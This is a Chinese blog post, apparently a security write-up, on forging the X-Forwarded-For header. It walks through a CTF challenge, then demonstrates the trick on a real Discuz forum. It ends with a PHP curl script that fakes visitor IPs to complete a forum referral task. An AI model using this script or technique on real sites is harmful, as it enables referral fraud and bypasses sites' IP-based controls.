抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

从西电一道信息安全技术比赛的题目说起吧,题目是《Black Hat》。
访问答题网页,提示信息为:"Make sure that you are from Vatican."
翻译成中文是:"请确保你来自梵蒂冈"

意思是需要用梵蒂冈的ip访问才能成功,找梵蒂冈的代理服务器是不可行的,但是可以通过伪造梵蒂冈的ip来绕过检测。
由于某些网站是通过请求头的"X-Forwarded-For"值来获取访问者的ip地址,而请求头是可以修改的,所以很多网站都可以通过伪造请求头来绕过ip检测。
具体原理可以看这篇文章:http://zhangxugg-163-com.iteye.com/blog/1663687

在搜索引擎搜一下"梵蒂冈ip",可以得到一个ip地址:"212.77.1.243"
利用火狐浏览器的Moify Headers插件可以修改请求头信息。
下图是在插件中把请求头的"X-Forwarded-For"修改为"212.77.1.243"
This is a picture without description

点击Start按钮启用插件后再访问网页,提示信息变成:"The Requested URL was not found on this server. Apache Server at www.blackhat.com Port 80"
根据提示信息,需要访问这台服务器上配置的www.blackhat.com网站。

再把请求头的"Host"值改为"www.blackhat.com"就行了。修改后再访问网站就得到了通关的key。

下面再来看看某个discuz论坛,我把"X-Forwarded-For"修改为"8.8.8.8"后注册一个帐号,结果如下:
This is a picture without description

可见,该网站存在ip伪造的问题,事实上很多论坛都是这样。

再接一个新手任务,该任务要求有5个ip访问推广地址:
This is a picture without description

使用curl可以修改请求头信息,执行下面的php代码,可以瞬间完成任务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
for ($i = 0; $i < 5; $i++) {
task();
}

function task() {
$url = "http://www.xxx.com/?fromuid=272539";
$ip = "100.100.".rand(1, 255).".".rand(1, 255);
$headers = array("X-FORWARDED-FOR:$ip");

$curl = curl_init($url);
curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0");
$src = curl_exec($curl);
curl_close($curl);
}
?>

评论